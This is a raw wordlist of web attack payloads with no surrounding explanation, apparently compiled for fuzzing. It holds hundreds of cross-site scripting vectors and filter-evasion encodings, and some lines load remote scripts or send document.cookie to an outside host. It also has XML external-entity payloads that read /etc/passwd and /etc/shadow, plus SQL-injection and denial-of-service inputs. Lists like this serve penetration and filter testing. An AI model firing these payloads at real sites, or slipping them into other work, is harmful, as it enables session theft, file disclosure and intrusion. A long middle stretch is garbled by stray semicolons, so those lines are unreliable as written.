<img LOWSRC="javascript:document.vulnerable=true;">
<bgsound SRC="javascript:document.vulnerable=true;">
<br SIZE="&{document.vulnerable=true}">
<LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
<link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
<style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
<img SRC='vbscript:document.vulnerable=true;'>
1script3document.vulnerable=true;1/script3
<meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
<meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
<IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
<FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
<table BACKGROUND="javascript:document.vulnerable=true;">
<table><TD BACKGROUND="javascript:document.vulnerable=true;">
<div STYLE="background-image: url(javascript:document.vulnerable=true;)">
<div STYLE="background-image: url(javascript:document.vulnerable=true;)">
<div STYLE="width: expression(document.vulnerable=true);">
<style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
<img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
<XSS STYLE="xss:expression(document.vulnerable=true)">
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
<style TYPE="text/javascript">document.vulnerable=true;</style>
<style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a>
<style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
<base HREF="javascript:document.vulnerable=true;//">
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object>
<XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></span>
<html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></html>
<? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
<meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
<head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
<a href="javascript#document.vulnerable=true;">
<div onmouseover="document.vulnerable=true;">
<img src="javascript:document.vulnerable=true;">
<img dynsrc="javascript:document.vulnerable=true;">
<input type="image" dynsrc="javascript:document.vulnerable=true;">
<bgsound src="javascript:document.vulnerable=true;">
&<script>document.vulnerable=true;</script>
&{document.vulnerable=true;};
<img src=&{document.vulnerable=true;};>
<link rel="stylesheet" href="javascript:document.vulnerable=true;">
<iframe src="vbscript:document.vulnerable=true;">
<img src="mocha:document.vulnerable=true;">
<img src="livescript:document.vulnerable=true;">
<a href="about:<script>document.vulnerable=true;</script>">
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
<body onload="document.vulnerable=true;">
<div style="background-image: url(javascript:document.vulnerable=true;);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression(document.vulnerable=true;);">
<style type="text/javascript">document.vulnerable=true;</style>
<object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
<style><!--</style><script>document.vulnerable=true;//--></script>
<<script>document.vulnerable=true;</script>
<![<!--]]<script>document.vulnerable=true;//--></script>
<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
<img src="blah"onmouseover="document.vulnerable=true;">
<img src="blah>" onmouseover="document.vulnerable=true;">
<xml src="javascript:document.vulnerable=true;">
<xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
<style>@import'http://www.securitycompass.com/xss.css';</style>
<meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet">
<style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style>
<OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
<HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss></html>
<script SRC="http://www.securitycompass.com/xss.jpg"></script>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"-->
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script =">" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script>
<script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=`>` SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script>
<script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
<div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
</script><script>alert(1)</script>
</br style=a:expression(alert())>
<scrscriptipt>alert(1)</scrscriptipt>
<br size=\"&{alert('XSS')}\">
perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out
perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out
<~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="%2bdocument.cookie)>
<~/XSS STYLE=xss:expression(alert('XSS'))>
</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
</XSS STYLE=xss:expression(alert('XSS'))>
';;alert(String.fromCharCode(88,83,83))//\';;alert(String.fromCharCode(88,83,83))//";;alert(String.fromCharCode(88,83,83))//\";;alert(String.fromCharCode(88,83,83))//-->;<;/SCRIPT>;";>;';>;<;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;
';';;!--";<;XSS>;=&;{()}
<;SCRIPT>;alert(';XSS';)<;/SCRIPT>;
<;SCRIPT SRC=http://ha.ckers.org/xss.js>;<;/SCRIPT>;
<;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;
<;BASE HREF=";javascript:alert(';XSS';);//";>;
<;BGSOUND SRC=";javascript:alert(';XSS';);";>;
<;BODY BACKGROUND=";javascript:alert(';XSS';);";>;
<;BODY ONLOAD=alert(';XSS';)>;
<;DIV STYLE=";background-image: url(javascript:alert(';XSS';))";>;
<;DIV STYLE=";background-image: url(&;#1;javascript:alert(';XSS';))";>;
<;DIV STYLE=";width: expression(alert(';XSS';));";>;
<;FRAMESET>;<;FRAME SRC=";javascript:alert(';XSS';);";>;<;/FRAMESET>;
<;IFRAME SRC=";javascript:alert(';XSS';);";>;<;/IFRAME>;
<;INPUT TYPE=";IMAGE"; SRC=";javascript:alert(';XSS';);";>;
<;IMG SRC=";javascript:alert(';XSS';);";>;
<;IMG SRC=javascript:alert(';XSS';)>;
<;IMG DYNSRC=";javascript:alert(';XSS';);";>;
<;IMG LOWSRC=";javascript:alert(';XSS';);";>;
<;IMG SRC=";http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode";>;
Redirect 302 /a.jpg http://victimsite.com/admin.asp&;deleteuser
exp/*<;XSS STYLE=';no\xss:noxss(";*//*";);
<;STYLE>;li {list-style-image: url(";javascript:alert('XSS')";);}<;/STYLE>;<;UL>;<;LI>;XSS
<;IMG SRC=';vbscript:msgbox(";XSS";)';>;
<;LAYER SRC=";http://ha.ckers.org/scriptlet.html";>;<;/LAYER>;
<;IMG SRC=";livescript:[code]";>;
<;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(';XSS';);";>;
<;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K";>;
<;META HTTP-EQUIV=";refresh"; CONTENT=";0; URL=http://;URL=javascript:alert(';XSS';);";>;
<;IMG SRC=";mocha:[code]";>;
<;OBJECT TYPE=";text/x-scriptlet"; DATA=";http://ha.ckers.org/scriptlet.html";>;<;/OBJECT>;
<;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(';XSS';)>;<;/OBJECT>;
<;EMBED SRC=";http://ha.ckers.org/xss.swf"; AllowScriptAccess=";always";>;<;/EMBED>;
a=";get";;&;#10;b=";URL(";";;&;#10;c=";javascript:";;&;#10;d=";alert(';XSS';);";)";; eval(a+b+c+d);
<;STYLE TYPE=";text/javascript";>;alert(';XSS';);<;/STYLE>;
<;IMG STYLE=";xss:expr/*XSS*/ession(alert(';XSS';))";>;
<;XSS STYLE=";xss:expression(alert(';XSS';))";>;
<;STYLE>;.XSS{background-image:url(";javascript:alert(';XSS';)";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>;
<;STYLE type=";text/css";>;BODY{background:url(";javascript:alert(';XSS';)";)}<;/STYLE>;
<;LINK REL=";stylesheet"; HREF=";javascript:alert(';XSS';);";>;
<;LINK REL=";stylesheet"; HREF=";http://ha.ckers.org/xss.css";>;
<;STYLE>;@import';http://ha.ckers.org/xss.css';;<;/STYLE>;
<;META HTTP-EQUIV=";Link"; Content=";<;http://ha.ckers.org/xss.css>;; REL=stylesheet";>;
<;STYLE>;BODY{-moz-binding:url(";http://ha.ckers.org/xssmoz.xml#xss";)}<;/STYLE>;
<;TABLE BACKGROUND=";javascript:alert(';XSS';)";>;<;/TABLE>;
<;TABLE>;<;TD BACKGROUND=";javascript:alert(';XSS';)";>;<;/TD>;<;/TABLE>;
<;HTML xmlns:xss>;
<;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=";javas]]]]><![CDATA[>;<;![CDATA[cript:alert(';XSS';);";>;]]]]><![CDATA[>;
<;XML ID=";xss";>;<;I>;<;B>;<;IMG SRC=";javas<;!-- -->;cript:alert(';XSS';)";>;<;/B>;<;/I>;<;/XML>;
<;XML SRC=";http://ha.ckers.org/xsstest.xml"; ID=I>;<;/XML>;
<;HTML>;<;BODY>;
<;!--[if gte IE 4]>;
<;META HTTP-EQUIV=";Set-Cookie"; Content=";USERID=<;SCRIPT>;alert(';XSS';)<;/SCRIPT>;";>;
<;XSS STYLE=";behavior: url(http://ha.ckers.org/xss.htc);";>;
<;SCRIPT SRC=";http://ha.ckers.org/xss.jpg";>;<;/SCRIPT>;
<;!--#exec cmd=";/bin/echo ';<;SCRIPT SRC';";-->;<;!--#exec cmd=";/bin/echo ';=http://ha.ckers.org/xss.js>;<;/SCRIPT>;';";-->;
<;? echo(';<;SCR)';;
<;BR SIZE=";&;{alert(';XSS';)}";>;
<;IMG SRC=JaVaScRiPt:alert(';XSS';)>;
<;IMG SRC=javascript:alert(&;quot;XSS&;quot;)>;
<;IMG SRC=`javascript:alert(";RSnake says, ';XSS';";)`>;
<;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>;
<;IMG RC=&;#106;&;#97;&;#118;&;#97;&;#115;&;#99;&;#114;&;#105;&;#112;&;#116;&;#58;&;#97;&;#108;&;#101;&;#114;&;#116;&;#40;&;#39;&;#88;&;#83;&;#83;&;#39;&;#41;>;
<;IMG RC=&;#0000106&;#0000097&;#0000118&;#0000097&;#0000115&;#0000099&;#0000114&;#0000105&;#0000112&;#0000116&;#0000058&;#0000097&;#0000108&;#0000101&;#0000114&;#0000116&;#0000040&;#0000039&;#0000088&;#0000083&;#0000083&;#0000039&;#0000041>;
<;DIV STYLE=";background-image:\0075\0072\006C\0028';\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.10530053\0027\0029';\0029";>;
<;IMG SRC=&;#x6A&;#x61&;#x76&;#x61&;#x73&;#x63&;#x72&;#x69&;#x70&;#x74&;#x3A&;#x61&;#x6C&;#x65&;#x72&;#x74&;#x28&;#x27&;#x58&;#x53&;#x53&;#x27&;#x29>;
<;HEAD>;<;META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html; charset=UTF-7";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(';XSS';);+ADw-/SCRIPT+AD4-
\";;alert(';XSS';);//
<;/TITLE>;<;SCRIPT>;alert("XSS");<;/SCRIPT>;
<;STYLE>;@im\port';\ja\vasc\ript:alert(";XSS";)';;<;/STYLE>;
<;IMG SRC=";jav	ascript:alert(';XSS';);";>;
<;IMG SRC=";jav&;#x09;ascript:alert(';XSS';);";>;
<;IMG SRC=";jav&;#x0A;ascript:alert(';XSS';);";>;
<;IMG SRC=";jav&;#x0D;ascript:alert(';XSS';);";>;
<;IMG
SRC
=
";
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t

';
X
S
S
';
)
";
>;
perl -e ';print ";<;IM SRC=java\0script:alert(";XSS";)>";;';>; out
perl -e ';print ";&;<;SCR\0IPT>;alert(";XSS";)<;/SCR\0IPT>;";;'; >; out
<;IMG SRC="; &;#14; javascript:alert(';XSS';);";>;
<;SCRIPT/XSS SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>;
<;SCRIPT SRC=http://ha.ckers.org/xss.js
<;SCRIPT SRC=//ha.ckers.org/.j>;
<;IMG SRC=";javascript:alert(';XSS';)";
<;IFRAME SRC=http://ha.ckers.org/scriptlet.html <;
<;<;SCRIPT>;alert(";XSS";);//<;<;/SCRIPT>;
<;IMG ";";";>;<;SCRIPT>;alert(";XSS";)<;/SCRIPT>;";>;
<;SCRIPT>;a=/XSS/
<;SCRIPT a=";>;"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT =";blah"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT a=";blah"; ';'; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT ";a=';>;';"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT a=`>;` SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT>;document.write(";<;SCRI";);<;/SCRIPT>;PT SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT a=";>';>"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;A HREF=";http://66.102.7.147/";>;XSS<;/A>;
<;A HREF=";http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D";>;XSS<;/A>;
<;A HREF=";http://1113982867/";>;XSS<;/A>;
<;A HREF=";http://0x42.0x0000066.0x7.0x93/";>;XSS<;/A>;
<;A HREF=";http://0102.0146.0007.00000223/";>;XSS<;/A>;
<;A HREF=";h
tt	p://6&;#09;6.000146.0x7.147/";>;XSS<;/A>;
<;A HREF=";//www.google.com/";>;XSS<;/A>;
<;A HREF=";//google";>;XSS<;/A>;
<;A HREF=";http://ha.ckers.org@google";>;XSS<;/A>;
<;A HREF=";http://google:ha.ckers.org";>;XSS<;/A>;
<;A HREF=";http://google.com/";>;XSS<;/A>;
<;A HREF=";http://www.google.com./";>;XSS<;/A>;
<;A HREF=";javascript:document.location=';http://www.google.com/';";>;XSS<;/A>;
<;A HREF=";http://www.gohttp://www.google.com/ogle.com/";>;XSS<;/A>;
";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>;
<;/script>;<;script>;alert(1)<;/script>;
<;/br style=a:expression(alert())>;
<;scrscriptipt>;alert(1)<;/scrscriptipt>;
<;br size=\";&;{alert('XSS')}\";>;
perl -e 'print \";<;IMG SRC=java\0script:alert(\";XSS\";)>;\";;' >; out
perl -e 'print \";<;SCR\0IPT>;alert(\";XSS\";)<;/SCR\0IPT>;\";;' >; out
>"><script>alert("XSS")</script>&
"><STYLE>@import"javascript:alert('XSS')";</STYLE>
>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
<IMG SRC=JaVaScRiPt:alert("XSS<WBR>")>
<IMGSRC=ja&<WBR>#0000118as&<WBR>#0000099ri&<WBR>#0000112t:&<WBR>#0000097le&<WBR>#0000114t(&<WBR>#0000039XS&<WBR>#0000083')>
<![CDATA[<script>var n=0;while(true){n++;}</script>]]]]><![CDATA[>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]]]><![CDATA[>SCRIPT<![CDATA[>]]]]><![CDATA[>alert('gotcha');<![CDATA[<]]]]><![CDATA[>/SCRIPT<![CDATA[>]]]]><![CDATA[></foo>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]]]><![CDATA[></foof>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo>
<script>alert('XSS')</script>
%3cscript%3ealert('XSS')%3c/script%3e
%22%3e%3cscript%3ealert('XSS')%3c/script%3e
<IMG SRC=javascript:alert('XSS')>
"><s"%2b"cript>alert(document.cookie)</script>
<marquee onstart='javascript:alert('1');'>=(◕_◕)=<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>
0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>
<script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>
<input onfocus=alert(7) autofocus>
<input onblur=alert(8) autofocus><input autofocus>
<a style="-o-link:'javascript:alert(9)';-o-link-source:current">X</a>
<video poster=javascript:alert(10)//></video>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(11)"></g></svg>
<body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>
<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>
X<x style=`behavior:url(#default#time2)` onbegin=`alert(16)` >
<?xml-stylesheet href="javascript:alert(17)"?><root/>
<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
<meta charset="x-mac-farsi">¼script ¾alert(19)//¼/script ¾
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>
<input onblur=focus() autofocus><input>
<form id=test onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=alert(24)>`>
<script src="#">{alert(25)}</script>;1
+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);
<style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(28)>>
<link rel=stylesheet href=data:,*%7bx:expression(alert(29))%7d
<style>@import "data:,*%7bx:expression(alert(30))%7D";</style>
<frameset onload=alert(31)>
<table background="javascript:alert(32)"></table>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(33);">XXX</a></a><a href="javascript:alert(2)">XXX</a>
1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(36)">XXX</a>
<!--<img src="--><img src=x onerror=alert(37)//">
<comment><img src="</comment><img src=x onerror=alert(38)//">
<![><img src="]><img src=x onerror=alert(39)//"><svg><![CDATA[><image xlink:href="]]]]><![CDATA[><img src=xx:x onerror=alert(2)//"></svg>
<style><img src="</style><img src=x onerror=alert(40)//">
<li style=list-style:url() onerror=alert(41)></li><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(41)></div>
<head><base href="javascript://"/></head><body><a href="/. /,alert(42)//#">XXX</a></body>
<?xml version="1.0" standalone="no"?><html xmlns="http://www.w3.org/1999/xhtml"><head><style type="text/css">@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}</style></head><body>Hello</body></html>
<style>*[{}@import'test.css?]{color: green;}</style>X
<div style="font-family:'foo[a];color:red;';">XXX</div>
<div style="font-family:foo}color=red;">XXX</div>
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(47)</script></svg>
<SCRIPT FOR=document EVENT=onreadystatechange>alert(48)</SCRIPT>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(49)"></OBJECT>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>
<x style="behavior:url(test.sct)">
<xml id="xss" src="test.htc"></xml><label dataformatas="html" datasrc="#xss" datafld="payload"></label>
<script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>
<video><source onerror="alert(55)">
<video onerror="alert(56)"><source></source></video>
<b <script>alert(57)//</script>0</script></b>
<b><script<b></b><alert(58)</script </b></b>
<div id="div1"><input value="``onmouseover=alert(59)"></div><div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
<div style="[a]color[b]:[c]red">XXX</div>
<div style="\63	\06f
\0006c\00006F
\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div>
<x '="foo"><x foo='><img src=x onerror=alert(62)//'><!-- IE 6-9 --><! '="foo"><x foo='><img src=x onerror=alert(2)//'><? '="foo"><x foo='><img src=x onerror=alert(3)//'>
<embed src="javascript:alert(63)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF<img src="javascript:alert(2)"><image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓<script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓
<!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>
<svg onload="javascript:alert(65)" xmlns="http://www.w3.org/2000/svg"></svg>
<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?><root/>
<!DOCTYPE x [<!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x" onerror CDATA "alert(67)" onload CDATA "alert(2)">]><img />
<doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"><html:style /><x xlink:href="javascript:alert(68)" xlink:type="simple">XXX</x></doc>
<card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(69)"/></onevent><timer value="1"/></card>
<div style=width:1px;filter:glow onfilterchange=alert(70)>x</div>
<// style=x:expression\28alert(71)\29>
<form><button formaction="javascript:alert(72)">X</button>
<event-source src="event.php" onload="alert(73)">
<a href="javascript:alert(74)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>
<script<{alert(75)}/></script </>
<?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>
<?xml-stylesheet type="text/css"?><root style="x:expression(alert(77))"/>
<?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>
<object allowscriptaccess="always" data="test.swf"></object>
<style>*{x:ｅｘｐｒｅｓｓｉｏｎ(alert(80))}</style>
<x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(81)" xlink:type="simple"/>
<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>
<x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(83)"><x:timer value="1"/></x:template>
<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(84)//#x"/>
<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>
<body oninput=alert(86)><input autofocus>
<svg xmlns="http://www.w3.org/2000/svg"><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(87)"><rect width="1000" height="1000" fill="white"/></a></svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><animation xlink:href="javascript:alert(88)"/><animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/><image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/><foreignObject xlink:href="javascript:alert(88)"/><foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(88)%3C/script%3E"/></svg>
<svg xmlns="http://www.w3.org/2000/svg"><set attributeName="onmouseover" to="alert(89)"/><animate attributeName="onunload" to="alert(89)"/></svg>
<div style=content:url(test2.svg)></div><div style="background:url(test5.svg)">PRESS ENTER</div>
<? foo="><script>alert(91)</script>"><! foo="><script>alert(91)</script>"></ foo="><script>alert(91)</script>"><? foo="><x foo='?><script>alert(91)</script>'>"><! foo="[[[x]]"><x foo="]foo><script>alert(91)</script>"><% foo><x foo="%><script>alert(91)</script>">
<div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>
<div style="list-style:url(http://foo.f)\20url(javascript:alert(93));">X</div>
<svg xmlns="http://www.w3.org/2000/svg"><handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(94)</handler></svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><feImage><set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/></feImage></svg>
<iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe><iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>
<div id=d><x xmlns="><iframe onload=alert(97)"></div><script>d.innerHTML+='';</script><div id=d><x xmlns='"><iframe onload=alert(2)//'></div><script>d.innerHTML+='';</script>
<div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div><script>with(document.getElementById("d"))innerHTML=innerHTML</script>
XXX<style>*{color:gre/**/en !/**/important}*{color:red}*{background:url(xx:x //**/\red/*)}</style>
<img[a][b]src=x[d]onerror[c]=[e]"alert(100)">
<a href="[a]java[b]script[c]:alert(101)">XXX</a>
<img src="x` `<script>alert(102)</script>"` `>
<script>history.pushState(0,0,'/i/am/somewhere_else');</script>
<svg xmlns="http://www.w3.org/2000/svg" id="foo"><x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(104) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/></svg>
<iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>
<img src onerror /" '"= alt=alert(106)//">
